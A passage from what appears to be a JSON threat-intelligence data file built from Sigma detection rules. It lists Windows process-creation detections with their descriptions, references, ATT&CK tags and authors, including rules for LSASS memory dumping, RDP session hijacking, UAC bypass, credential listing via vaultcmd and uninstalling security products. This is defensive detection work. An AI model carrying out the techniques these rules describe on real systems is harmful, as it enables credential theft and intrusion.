LOLBAS - Tracker.exe", - "uuid": "148431ce-4b70-403d-8525-fcc2993f29ea", - "value": "DLL Injection with Tracker.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ], - "creation_date": "2020/10/18", - "filename": "proc_creation_win_susp_tracker_execution.yml", - "author": "Avneet Singh @v3t0_, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible process memory dump that uses the white-listed Citrix TrolleyExpress.exe filename as a way to dump the lsass process memory", - "uuid": "4c0aaedc-154c-4427-ada0-d80ef9c9deb6", - "value": "Process Access via TrolleyExpress Exclusion", - "meta": { - "refs": [ - "https://twitter.com/_xpn_/status/1491557187168178176", - "https://www.youtube.com/watch?v=Ie831jF0bb0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_trolleyexpress_procdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011", - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2022/02/10", - "filename": "proc_creation_win_susp_trolleyexpress_procdump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a tscon.exe start as LOCAL SYSTEM", - "uuid": "9847f263-4a81-424f-970c-875dab15b79b", - "value": "Suspicious TSCON Start as SYSTEM", - "meta": { - "refs": [ - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", - "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2018/03/17", - "filename": "proc_creation_win_susp_tscon_localsystem.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious RDP session redirect using tscon.exe", - "uuid": "f72aa3e8-49f9-4c7d-bd74-f8ab84ff9bbb", - "value": "Suspicious RDP Redirect Using TSCON", - "meta": { - "refs": [ - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1563.002", - "attack.t1021.001", - "car.2013-07-002" - ], - "creation_date": "2018/03/17", - "filename": "proc_creation_win_susp_tscon_rdp_redirect.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects indicators of a UAC bypass method by mocking directories", - "uuid": "4ac47ed3-44c2-4b1f-9d51-bf46e8914126", - "value": "TrustedPath UAC Bypass Pattern", - "meta": { - "refs": [ - "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", - "https://github.com/netero1010/TrustedPath-UACBypass-BOF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1548.002" - ], - "creation_date": "2021/08/27", - "filename": "proc_creation_win_susp_uac_bypass_trustedpath.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious child process of userinit", - "uuid": "b655a06a-31c0-477a-95c2-3726b83d649d", - "value": "Suspicious Userinit Child Process", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1139811587760562176", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2019/06/17", - "filename": "proc_creation_win_susp_userinit_child.yml", - "author": "Florian Roth (rule), Samir Bousseaden (idea)", - "level": "medium", - "falsepositive": [ - "Administrative scripts" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of CSharp interactive console by PowerShell", - "uuid": "a9e416a8-e613-4f8b-88b8-a7d1d1af2f61", - "value": "Suspicious Use of CSharp Interactive Console", - "meta": { - "refs": [ - "https://redcanary.com/blog/detecting-attacks-leveraging-the-net-framework/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_csharp_console.yml" - ], - "tags": [ - "attack.execution", - "attack.t1127" - ], - "creation_date": "2020/03/08", - "filename": "proc_creation_win_susp_use_of_csharp_console.yml", - "author": "Michael R. (@nahamike01)", - "level": "high", - "falsepositive": [ - "Possible depending on environment. Pair with other factors such as net connections, command-line args, etc." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", - "uuid": "0152550d-3a26-4efd-9f0e-54a0b28ae2f3", - "value": "Detection of PowerShell Execution via Sqlps.exe", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", - "https://twitter.com/bryon_/status/975835709587075072", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2020/10/10", - "filename": "proc_creation_win_susp_use_of_sqlps_bin.yml", - "author": "Agro (@agro_sev) oscd.community", - "level": "medium", - "falsepositive": [ - "Direct PS command execution through SQLPS.exe is uncommon, childprocess sqlps.exe spawned by sqlagent.exe is a legitimate action." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio.\nScript blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.\n", - "uuid": "a746c9b8-a2fb-4ee5-a428-92bee9e99060", - "value": "SQL Client Tools PowerShell Session Detection", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", - "https://twitter.com/pabraeken/status/993298228840992768", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_susp_use_of_sqltoolsps_bin.yml", - "author": "Agro (@agro_sev) oscd.communitly", - "level": "medium", - "falsepositive": [ - "Direct PS command execution through SQLToolsPS.exe is uncommon, childprocess sqltoolsps.exe spawned by smss.exe is a legitimate action." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces\nAdversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe\n", - "uuid": "634b00d5-ccc3-4a06-ae3b-0ec8444dd51b", - "value": "Malicious Windows Script Components File Execution by TAEF Detection", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", - "https://twitter.com/pabraeken/status/993298228840992768", - "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" - ], - "tags": [ - "attack.t1218" - ], - "creation_date": "2020/10/13", - "filename": "proc_creation_win_susp_use_of_te_bin.yml", - "author": "Agro (@agro_sev) oscd.community", - "level": "low", - "falsepositive": [ - "It's not an uncommon to use te.exe directly to execute legal TAEF tests" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "There is an option for a MS VS Just-In-Time Debugger \"vsjitdebugger.exe\" to launch specified executable and attach a debugger.\nThis option may be used adversaries to execute malicious code by signed verified binary.\nThe debugger is installed alongside with Microsoft Visual Studio package.\n", - "uuid": "15c7904e-6ad1-4a45-9b46-5fb25df37fd2", - "value": "Malicious PE Execution by Microsoft Visual Studio Debugger", - "meta": { - "refs": [ - "https://twitter.com/pabraeken/status/990758590020452353", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", - "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" - ], - "tags": [ - "attack.t1218", - "attack.defense_evasion" - ], - "creation_date": "2020/10/14", - "filename": "proc_creation_win_susp_use_of_vsjitdebugger_bin.yml", - "author": "Agro (@agro_sev), Ensar \u015eamil (@sblmsrsn), oscd.community", - "level": "medium", - "falsepositive": [ - "The process spawned by vsjitdebugger.exe is uncommon." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe", - "uuid": "58f50261-c53b-4c88-bd12-1d71f12eda4c", - "value": "Windows Credential Manager Access via VaultCmd", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.004/T1555.004.md#atomic-test-1---access-saved-credentials-via-vaultcmd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vaultcmd.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ], - "creation_date": "2022/04/08", - "filename": "proc_creation_win_susp_vaultcmd.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detect VBoxDrvInst.exe run with parameters allowing processing INF file.\nThis allows to create values in the registry and install drivers.\nFor example one could use this technique to obtain persistence via modifying one of Run or RunOnce registry keys\n", - "uuid": "b7b19cb6-9b32-4fc4-a108-73f19acfe262", - "value": "Suspicious VBoxDrvInst.exe Parameters", - "meta": { - "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", - "https://twitter.com/pabraeken/status/993497996179492864", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_win_susp_vboxdrvinst.yml", - "author": "Konstantin Grishchenko, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate use of VBoxDrvInst.exe utility by VirtualBox Guest Additions installation process" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious inline VBScript keywords as used by UNC2452", - "uuid": "20c3f09d-c53d-4e85-8b74-6aa50e2f1b61", - "value": "Suspicious VBScript UN2452 Pattern", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vbscript_unc2452.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2021/03/05", - "filename": "proc_creation_win_susp_vbscript_unc2452.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects commands that temporarily turn off Volume Snapshots", - "uuid": "dee4af55-1f22-4e1d-a9d2-4bdc7ecb472a", - "value": "Disabled Volume Snapshots", - "meta": { - "refs": [ - "https://twitter.com/0gtweet/status/1354766164166115331", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/01/28", - "filename": "proc_creation_win_susp_volsnap_disable.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects Microsoft Visual Studio vsls-agent.exe lolbin execution with a suspicious library load using the --agentExtensionPath parameter", - "uuid": "43103702-5886-11ed-9b6a-0242ac120002", - "value": "Suspicious Vsls-Agent Command With AgentExtensionPath Load", - "meta": { - "refs": [ - "https://twitter.com/bohops/status/1583916360404729857", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2022/10/30", - "filename": "proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", - "author": "bohops", - "level": "medium", - "falsepositive": [ - "False positives depend on custom use of vsls-agent.exe" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie.\nThis could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server).\n", - "uuid": "2dbd9d3d-9e27-42a8-b8df-f13825c6c3d5", - "value": "Suspicious WebDav Client Execution", - "meta": { - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/17", - "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048.003" - ], - "creation_date": "2020/05/02", - "filename": "proc_creation_win_susp_webdav_client_execution.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of various web request with commandline tools or Windows PowerShell command,methods (including aliases)", - "uuid": "9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d", - "value": "Windows Suspicious Use Of Web Request in CommandLine", - "meta": { - "refs": [ - "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", - "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_susp_web_request_cmd.yml", - "author": "James Pemberton / @4A616D6573", - "level": "medium", - "falsepositive": [ - "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious child processes of SysAidServer (as seen in MERCURY threat actor intrusions)", - "uuid": "60bfeac3-0d35-4302-8efb-1dd16f715bc6", - "value": "Suspicious SysAidServer Child", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml" - ], - "tags": "No established tags", - "creation_date": "2022/08/26", - "filename": "proc_creation_win_susp_web_sysaidserver.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious Windows Error Reporting manager (wermgr.exe) process patterns - suspicious parents / children, execution folders, command lines etc.", - "uuid": "CBEC226F-63D9-4ECA-9F52-DFB6652F24DF", - "value": "Suspicious WERMGR Process Patterns", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", - "https://www.echotrail.io/insights/search/wermgr.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml" - ], - "tags": "No established tags", - "creation_date": "2022/10/14", - "filename": "proc_creation_win_susp_wermgr.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n", - "uuid": "725a9768-0f5e-4cb3-aec2-bc5719c6831a", - "value": "Suspicious Where Execution", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_where_execution.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1217" - ], - "creation_date": "2021/12/13", - "filename": "proc_creation_win_susp_where_execution.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation but rarely used by administrators", - "uuid": "e28a5a99-da44-436d-b7a0-2afc20a5f413", - "value": "Whoami Execution", - "meta": { - "refs": [ - "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ], - "creation_date": "2018/08/13", - "filename": "proc_creation_win_susp_whoami.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment", - "Monitoring activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of whoami with suspicious parents or parameters", - "uuid": "8de1cbe8-d6f5-496d-8237-5f44a721c7a0", - "value": "Whoami Execution Anomaly", - "meta": { - "refs": [ - "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ], - "creation_date": "2021/08/12", - "filename": "proc_creation_win_susp_whoami_anomaly.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Admin activity", - "Scripts and administrative tools used in the monitored environment", - "Monitoring activity" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", - "uuid": "e9142d84-fbe0-401d-ac50-3e519fb00c89", - "value": "WhoAmI as Parameter", - "meta": { - "refs": [ - "https://twitter.com/blackarrowsec/status/1463805700602224645?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_as_param.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1033", - "car.2016-03-001" - ], - "creation_date": "2021/11/29", - "filename": "proc_creation_win_susp_whoami_as_param.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious winrar execution that involves a file with a .dmp extension, which could be a step in a process of dump file exfiltration", - "uuid": "1ac14d38-3dfc-4635-92c7-e3fd1c5f5bfc", - "value": "Winrar Compressing Dump Files", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2022/01/04", - "filename": "proc_creation_win_susp_winrar_dmp.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of WinRAR with a command line in which .dmp appears accidentally" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a suspicious winrar execution in a folder which is not the default installation folder", - "uuid": "4ede543c-e098-43d9-a28f-dd784a13132f", - "value": "Winrar Execution in Non-Standard Folder", - "meta": { - "refs": [ - "https://twitter.com/cyb3rops/status/1460978167628406785", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2021/11/17", - "filename": "proc_creation_win_susp_winrar_execution.yml", - "author": "Florian Roth, Tigzy", - "level": "high", - "falsepositive": [ - "Legitimate use of WinRAR in a folder of a software that bundles WinRAR" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", - "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d", - "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", - "meta": { - "refs": [ - "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_awl_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_win_susp_winrm_awl_bypass.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects an attempt to execute code or create service on remote host via winrm.vbs.", - "uuid": "9df0dd3a-1a5c-47e3-a2bc-30ed177646a0", - "value": "Remote Code Execute via Winrm.vbs", - "meta": { - "refs": [ - "https://twitter.com/bohops/status/994405551751815170", - "https://redcanary.com/blog/lateral-movement-winrm-wmi/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_susp_winrm_execution.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate use for administartive purposes. Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party utilities", - "uuid": "e2e80da2-8c66-4e00-ae3c-2eebd29f6b6d", - "value": "Compress Data and Lock With Password for Exfiltration With WINZIP", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winzip.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ], - "creation_date": "2021/07/27", - "filename": "proc_creation_win_susp_winzip.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMIC executions in which a event consumer gets created in order to establish persistence", - "uuid": "ebef4391-1a81-4761-a40a-1db446c0e625", - "value": "Suspicious WMIC ActiveScriptEventConsumer Creation", - "meta": { - "refs": [ - "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546.003" - ], - "creation_date": "2021/06/25", - "filename": "proc_creation_win_susp_wmic_eventconsumer_create.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate software creating script event consumers" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMIC executing suspicious or recon commands", - "uuid": "526be59f-a573-4eea-b5f7-f0973207634d", - "value": "Suspicious WMIC Execution", - "meta": { - "refs": [ - "https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", - "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", - "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "car.2016-03-002" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_susp_wmic_execution.yml", - "author": "Michael Haag, Florian Roth, juju4, oscd.community", - "level": "medium", - "falsepositive": [ - "If using Splunk, we recommend | stats count by Computer,CommandLine following for easy hunting by Computer/CommandLine" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", - "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", - "value": "Suspicious WMIC Execution - ProcessCallCreate", - "meta": { - "refs": [ - "https://thedfirreport.com/2020/10/08/ryuks-return/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_susp_wmic_proc_create.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects uninstallation or termination of security products using the WMIC utility", - "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765", - "value": "Wmic Uninstall Security Product", - "meta": { - "refs": [ - "https://twitter.com/cglyer/status/1355171195654709249", - "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", - "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/01/30", - "filename": "proc_creation_win_susp_wmic_security_product_uninstall.yml", - "author": "Florian Roth, Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate administration" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", - "uuid": "0bbc6369-43e3-453d-9944-cae58821c173", - "value": "Execution via WorkFolders.exe", - "meta": { - "refs": [ - "https://twitter.com/elliotkillick/status/1449812843772227588", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/10/21", - "filename": "proc_creation_win_susp_workfolders.yml", - "author": "Maxime Thiebaut (@0xThiebaut)", - "level": "high", - "falsepositive": [ - "Legitimate usage of the uncommon Windows Work Folders feature." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects code execution via the Windows Update client (wuauclt)", - "uuid": "d7825193-b70a-48a4-b992-8b5b3015cc11", - "value": "Windows Update Client LOLBIN", - "meta": { - "refs": [ - "https://dtm.uk/wuauclt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.execution", - "attack.t1105", - "attack.t1218" - ], - "creation_date": "2020/10/17", - "filename": "proc_creation_win_susp_wuauclt.yml", - "author": 